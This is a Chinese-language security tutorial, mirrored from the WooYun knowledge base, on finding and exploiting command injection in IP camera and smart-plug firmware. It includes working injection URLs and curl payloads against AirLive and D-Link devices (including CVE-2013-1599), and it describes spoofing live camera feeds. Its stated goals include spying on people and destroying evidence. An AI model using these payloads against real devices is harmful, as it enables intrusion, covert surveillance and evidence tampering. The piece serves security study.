Hacking ipcam like Harold in POI

wyzsk發表於2020-08-19
作者: redrain有節操 · 2015/08/30 9:14

List


0x00 針對ipcam的攻擊目和前期準備

0x01 對於嵌入式裝置引數注入漏洞的常規武器和分析方法

0x02 幾個精彩的case

0x03 Hacking like POI

0x00 前期準備


本次我們討論的是分析智慧攝像頭韌體,透過引數注入的方式達到遠端命令注入或程式碼執行的目的,此外,還將思考如何像一個電影駭客一樣篡改畫面,透過攝像頭潛入內網

我能做什麼

控制攝像頭,監(tou)視(kui)女神

透過攝像頭為邊界入口,進入企業內網

篡改攝像頭實時畫面,銷燬證據

Target

網路攝像頭(IPCam)

由影片伺服器和攝像頭的整合,通常是linux系統,內建一個web server,畫面實時傳輸,一般沒有影片儲存功能(本次重點介紹的攻擊物件)

數字影片錄影機(DVR/NVR)

進行影像儲存處理,可錄影,錄音,遠端監控等等,大概分為PC式和嵌入式,作業系統不固定,只要處理裝置裝有處理軟體即可,有影片儲存功能(可回放)

中央閉路電視(CCTV)

中央電視臺?(大霧!)影像通訊系統,和DVR/NVR結合起來,透過雙絞線(搞不動),光纜(搞不動),網路(可以搞!)接收影像訊號,監控室裡常見~

監控雲平臺

透過雲平臺集中管理多個裝置(web狗表示輕鬆搞)

引申的其他智慧裝置

智慧路由器/智慧插座...

Method

1)通常分析,選擇目標裝置的韌體,透過binwalk,Firmware-Mod-Kit,foremost提取分離韌體

2)而逆向,程式碼除錯還需要用到IDA(ARM or MIPS),用QEMU來進行模擬

3)也可以直接購買裝置透過拆卸的方式進行,在裝置主機板的JTAG介面直接提取快閃記憶體,存放著系統資訊,相當於硬碟,有多個分割槽,通常是bootloader(初始化裝置),kernel(系統核心),Filesystem(檔案系統,有我們需要的rootfs等等),NVRAM(存放裝置配置檔案)

4)因為下載韌體分析是不用花錢的,所以降低了攻擊者的攻擊成本

常規流程

1)下載韌體分析檔案結構並提取

binwalk -eM firmware.bin

binwalk firmware.bin --dd=型別:儲存下來的副檔名

./extract-firmware.sh firmware.bin

enter image description here

2)解包/掛載/解壓提取的檔案,確定web指令碼,配置檔案和二進位制服務檔案

lzma -d xxx.lzma
./unsquashfs_all.sh xxx.squashfs

如果使用fmk通常不用手動解包,fmk解包後得到資料夾中logbinwalklogrootfs為解包檔案

enter image description here

enter image description here

3)開始分析檔案(將elf載入ida逆向 or 對指令碼檔案白盒審計) 因為有web應用所以web方向的攻擊技巧都可以輪一遍

因為firmware拿C寫的,所以有機會存在BOF

enter image description here

4)除錯驗證漏洞 透過QEMU虛擬裝置,或者直接在真實裝置上測試

enter image description here

0x01 裝置的引數注入


誠如我們所說,裝置帶有web,所以所有web存在的漏洞利用都可以嘗試,其功能實現有可能是指令碼檔案(php,asp,cgi?)也有可能直接寫死在bin裡,每次引數傳遞直接透過二進位制檔案交給server處理

然而不管是哪種處理方式,都離不開http請求,如果在審計過程中發現了引數注入的問題,即可遠端利用執行

常見的危險函式:popen,system,exec... 尋找透過危險函式方法處理的變數,跟蹤變數找到可控點,判斷資料傳入處理,構造payloadexploit

enter image description here

curl -d "user=3sadmin&password=27988303" http://*.*.*.*/records.cgi?action=remove&storage=sd&filename=test`commands`

當然,如果裝置處理請求透過指令碼處理也是一樣的,分析方法參考常見的審計方法

enter image description here

怎麼穩準狠抓到漏洞

1)因為我們討論的是引數注入導致的命令執行或者程式碼執行,所以我們關注的應該是功能實現需要呼叫到系統命令的功能,比如reboot,searchmac,delete,record之類等功能性檔案

2)靈活使用hexdump

3)機智利用strings來快速定位漏洞可能存在的檔案

strings * -n 5|grep "popen"

利用引數汙染繞過簡單防禦

因為廠商認為裝置是個黑盒子,所以安全實現非常糙,通常對資料傳入沒有防禦過濾,即便有的情況也可以透過技巧繞過,引數汙染就是一種

/vul.cgi?a=whoami&a=test

php中獲取的是最後一個引數

cgi中獲取的是第一個引數

asp中獲取的是所有引數

0x02 case


AirLive Command Injection

其中cgi_test.cgi可以為授權訪問,在處理 write_mac, write_pid, write_msn, write_tan, write_hdv 的時候會造成命令注入

sub_93F4
STMFD           SP!, {R4-R7,LR}
LDR                 R0, =aQuery_string ; "QUERY_STRING"
SUB                 SP, SP, #4
BL                    getenv

使用QUERY_STRING獲取?後面的值作為引數,傳參之後會呼叫info_writer這個檔案,最終呼叫system()執行

MOV             R2, R5
LDR             R1, =aOptIpncInfo__1 ; "/opt/ipnc/info_writer -p %s > /dev/null"
MOV             R0, SP
BL              sprintf
MOV             R0, SP
BL              system
MOV             R2, R5
LDR             R1, =aWrite_pidOkPid ; "WRITE_PID OK, PID=%s\r\n"
LDR             R0, =unk_1977C
MOV             R4, SP
BL              sprintf
B               loc_9728

AirLive Command Injection Pwned

所以我們完全可以在傳入幾個受影響的引數後注入;或者&&的方式來注入我們的惡意命令

/cgi_test.cgi?write_pid&;id&
/cgi_test.cgi?write_pid&&&id&

enter image description here

D-link Command Injection(CVE-2013-1599)

這是個影響很大的洞,至今依舊影響很多基於D-link韌體二次開發的攝像頭(尤其國內廠商)

/var/www/cgi-bin/中,rtpd.cgi檔案成為了豬隊友

echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces."
. $conf > /dev/null 2> /dev/null
eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"
case $action in
start)
$script start
;;
stop)
$script stop
;;
...

eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"

程式碼本意是要在?後傳入action控制裝置狀態,奈何開發暴露智商,$QUERY_STRING取問號後的值將&替換後eval執行。。。?傳值完全可控

D-link Command Injection PWNed

/cgi-bin/rtpd.cgi?id
/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount

enter image description here

D-Link DSP-W110 Smart Plug

其實,掌握這個技能是可以衍生到其他大部分智慧裝置的,比如6月我發現的dlink智慧插座漏洞(然而被捂爛)

漏洞成因比較簡單,http請求中cookie的內容未經過任何處理,直接傳遞給了sprintf()呼叫併為了驗證身份入庫查詢,因此形成了一個sqli,然而sql查詢直接傳給了popen()還造成了命令執行

request.c中將cookie欄位完整的負值給了hnap_cookie,之後在mod_hnap.c被被getHNAPCookie函式處理直接被sprintf()拼接成了sql語句並直接查詢,造成sqli

enter image description here

enter image description here

D-Link DSP-W110 Smart Plug PWNed

接下來,沒有對任何資料進行處理直接把拼好的查詢交給了popen(WTF???)造成命令執行

curl --cookie "terribleness='\`echo "ztz_162"\`" ip

enter image description here

可以看出,我們分析的三個命令執行漏洞,統一思路基本如下:

  • 1)提取韌體,拿到解包後的二進位制檔案或指令碼檔案
  • 2)載入ida獲取彙編程式碼或虛擬碼,定位危險函式,尋找可控變數
  • 3)利用已有姿勢(繞過簡單防禦)構造payload
  • 4)一定要相信智慧裝置才起步,廠商做的盒子都非常糙,一定有逗比開發寫逗比程式碼

0x03 Hacking like POI!


美劇《疑犯追蹤》中,大駭客Harold的AI主要就是透過ipcam進行分析,看上去酷炫的不要不要的,那麼我們能不能達到POI中的一些篡改畫面效果?yep

enter image description here

enter image description here

(請忽略我拓撲圖的水印,原圖我找不到了)這裡需要區分ipcam沒有儲存,所以影片傳輸都是實時的,而DVR/NVR有專門的儲存裝置,我們這裡討論的是ipcam的實時傳輸篡改

原理很簡單,大部分ipcam實現傳輸畫面透過兩種方式,透過流,或鏡頭拍下圖片後實時重新整理圖片反饋到畫面

由此,我有了篡改的想法,kill傳輸流的程式使之畫面凍結,或篡改鏡頭拍下的圖片使之完成篡改

如果結合我們透過漏洞挖掘發現的命令注入,還能達到遠端篡改的效果

然而,仔細思考會發現,這並不是一個最佳的hacking手法,如果kill程式凍結,對方重新整理管理潔面後,程式重新啟動,如果篡改圖片,如何保證接下來鏡頭拍下的圖片不覆蓋我們的篡改圖片

經過機智的我深思,如果我把正常傳輸程式抓包,模擬他的發包傳輸我自己的篡改圖片,或者做一個類似MITM的中間人攻擊,把正常程式發包圖片替換,就可以完成完美篡改了!(此處應有掌聲,應有現場演示,然而議題被取消了QAQ)

Trendnet的一款ipcam中,順利達到了這個效果,透過分析知道mjpg.cgi控制影片流傳輸,利用之前所說kill程式使其畫面凍結,成功篡改了畫面(此處應該有演示,然而。。。)

enter image description here

enter image description here

當然,如果裝置是透過不斷重新整理圖片的方式達到實時效果而不是rtsp這樣的實時傳輸協議也可以透過我之前blog說過的利用發包強佔

#!/bin/sh
echo -ne “HTTP/1.1 200 OK\r\nContent-Type: image/jpeg\r\n\r\n”
cat ztzsb.jpg

稍微機靈一點,我們可以結合命令執行的方式,再cgi指令碼中加入執行我們的bash指令碼然後遠端利用

總結一下,如何在挖掘過程中找到可利用的劫持方式

  • 找到目標攝像頭並確定其版本,型號,對韌體進行下載分析
  • 利用之前該版本爆出過的漏洞或者自己對韌體分析後得到的漏洞獲取會話
  • 確定用於影片流傳輸的協議
  • 找到處理影片流的CGI
  • 分析指令碼檔案,找到指令碼中的功能函式
  • 有些攝像頭韌體是沒有動態指令碼的,功能處理都寫在serverbin中,所以還要分析serverbin檔案

你看到的不是真的,hack it!

最後安利一個工具:videojak是一個很簡單的ipcam的安全測試工具,它可以在你獲取到的ipcam中做一個類似MITM的中間人攻擊,直接劫持整個畫面的傳輸流,或者重放上一個傳輸流

LAST


未來社會是IOT社會,智慧裝置的出現便利了生活,工作,也帶來了各種安全隱患,本文中所涉及到的漏洞仍不屬於主流利用的,更多的惡意利用是在公共網路空間中開放暴露的裝置弱口令,預設口令,官方預留後門

去年的海康威視黑天鵝事件就給公眾敲響警鐘,今年4月我提及到的大華DVR37777埠開放的問題也在全國有很大影響,甚至Z-0ne早在3月就出了完整報告,然而都沒有得到更多重視

WTF!

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章